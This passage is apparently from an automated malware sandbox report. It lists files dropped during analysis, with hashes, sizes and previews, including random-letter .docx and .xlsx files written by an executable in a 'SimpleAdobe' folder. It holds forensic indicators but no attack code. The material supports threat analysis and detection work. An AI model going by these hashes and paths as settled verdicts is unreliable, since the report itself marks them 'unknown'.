.6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF0DE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97150
Entropy (8bit):	3.0462623301694713
Encrypted:	false
SSDEEP:	1536:p4pVlzPZu9BuSBZg2KfFviE9IL55IW6+c+h+++Jv4vrQE0n7:p4pVlzPZu9BuSBZg2KfFviE9IL55It+i
MD5:	9C150124092C288CC7DEAF34D5C92ABC
SHA1:	C94353388285EC8187E58FCB0D059CC14742D84B
SHA-256:	770F58124B9962DE2B7FB236BA6B6A21849402F043C2A6F2AACA5FF4AE426B82
SHA-512:	60F30DC7670577FC74200C3F02DDEE50BBB17D0CCAE34DDD7A64A61A5DCFEDBB2E8B3EBBB7B3AE28B476DF908471741513E8EA28724235E92CFF52F474EF843C
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF13C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96836
Entropy (8bit):	3.046571507700292
Encrypted:	false
SSDEEP:	1536:iuFlHPpEu9Gms3X9g2kfxfE9IL55IW6+c+h+++Jv4v+C2GMb:iuFlHPpEu9Gms3X9g2kfxfE9IL55It+G
MD5:	25F7CD2A4A0A513B8AE5E60E70DA309D
SHA1:	C0C84D1D600D0E39609A390760D7535C793A3CA1
SHA-256:	896D6A2B9286F051B0CABF376E5CE58C50B968EA5E81A4CA7CD1626F023FBEF5
SHA-512:	17B921FF6464E7D366B1C297DADD5336F669845EA5ED175CDF9784BFA6902C69D9F5A11627350CC71BE5D0AB4C8FCFCE48ED504EC9F6364BDFBA0430DC412A98
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF2D4.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6909922642413906
Encrypted:	false
SSDEEP:	96:TiZYWPCoVRF1/Y2Y5WlH1YEZT3tEii4BtywlkM2NmaLzDMwR6tIh1R:2ZDPPxBhdNaLzDMwR6yh1R
MD5:	F4FC68A8B51ABC3DB575F6A6A0C56560
SHA1:	B1B33EEF3096B7AA163F3176974A6323FD6A5791
SHA-256:	8D88A1C31A7A0F0B88EBA65E6B28F979B1AB2E974F0E6C2FA8866F9395CD5CA1
SHA-512:	C250E1E60CA8E1C09BDE0ADF6C29E1E132177BCCD08E982C289637642D883B40E4333571D7487EFD83AADE882FEE417DEFF791830F6E0386CBF0ACF85961BF1B
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF352.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6916484850023097
Encrypted:	false
SSDEEP:	96:TiZYWowBehioYXYNW+H7YEZQ3tEiQ4mtcwzbPa1zQxMkRgIG01R:2ZDodQ/qra1zQxMkR3L1R
MD5:	A2DA4DEB24FCB2FF6E70634FCA8A2A6F
SHA1:	06DDE5C27878386955E1104A5E9D09A10C9CD281
SHA-256:	95955F7EA6BED0310FF8201ED00D1158D356B2E5B383859045A5E35A8245DF70
SHA-512:	EE8614DCD9570B50480C63F589D6954C34DC06F85FA3F3C582B38966EA4BEF69E8E73A19025B5EF63CA821E92402E55929FAAF6C9764F1815B5B12FCBEEFE45A
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	unknown
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Reputation:	unknown
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Reputation:	unknown
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696913287597031
Encrypted:	false
SSDEEP:	24:TEp0dGAR5tKV4V1dnQcncjGi20QoVwGQqh3:20Iw5tKOncjGUwra
MD5:	44ECF9E98785299129B35CBDBCAB909B
SHA1:	4D92AFB00FE614CC8B795F1AF28173DBE76FE7F5
SHA-256:	06E706536CB7D543E6068C98C90721CAD89C23D16D37444F46F9B01C4380DF9E
SHA-512:	1FA347223014BB3AC0106948B07E337B1A98C0BA2D98AC0ADD821D1B3CE9F75681F6383925F5E614F36750C5B9FB92D1C8EEEDC05469FBC6EA3F281D8B52B556
Malicious:	false
Reputation:	unknown
Preview:	SFPUSAFIOLDMTRNUTGNTJUWFCWSZSHWEDVXRKVRQQJURAYWLWUUBTIKENFOXKWAEIMQEIZNZNRADQPATZGCMDPRDXLQGZUFJZGZDRTSVNCHAUPMRLPRPZKGVAVXYEVCKEHKMMJGKSJOOUYGYLDDIEYHRSUUPROPBGJMTERPOAVKYFPSCESRJNQZFKBQPUDQDDUMCFWKLZTOAKIRCBYNHNUNDHQGUCZFGLFAWYRAYVDHRMGQXAXAOYSCNPGEKEPCMQBIHRFANOHHAWKRVIORZYSDKULQZFRPSGFVYRDRVLMMPKWJDXUOEBNLILNONKXLMXLVIUCYNNQGCPDXMGSCUEKRTGZJHMNRUEKEIJFJIAHVLHOVPEFBBLWOKZSZSYSSOQIMAXYTLNUMGPOHCVAJUEBTRJRPRJCOTKTDCOEZCJXDLESVDTKVOFQWENRQDQXACWTCILXCPGHHUNHJNQLPPCERJAOCZFIXIHZKTCKZMXYDXVVFZUURETLUVBDNYJHWBIGQTEBATUDWNJLGPYCGIXUBQTVJPDRWVOFIQDYMJOMWUQUNCHQWGETEEEIJZNHHUYACVFRBGSWATTYVHFTURPBDTDDQTWASRBMLCMLRKIGMHWRHHHUVZTGIFNIDBHRKNFOYFIOYERMIXFEIANSZHVUVBFJOQNNJGQUNDLTPKRMYXNUHBOFQLLIDRDFMIAAVQNNXFNDRFBIGEVUSBEJUVVSTEJYKSAUCFDNNJQTSVXAUBHAPFHJIYCNFJQPWEXKMUQRCKERPSFCQKHEDKHHRNWTLAMXHJLOSIZOKYIMDHNEIBAUBKXVXZVXMAZNFTTYQGDGZHKLIHZJNIVHVZHYMNESIMFITKHGIPXKXZDBLBTKTNZDKZTKDHQQJCJDTRVKOCTCXPMDLKSOBGZSQQUTNFYYEOCJVZSZUSESOBKMIJSKKSXTXITISLBTMALAVZEMHXQXVRBZCDKLOKWDYQIEQCKFLKBMPLIQMKDTJPRHOW

C:\ProgramData\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	unknown
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\ProgramData\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Reputation:	unknown
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\ProgramData\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Reputation:	unknown
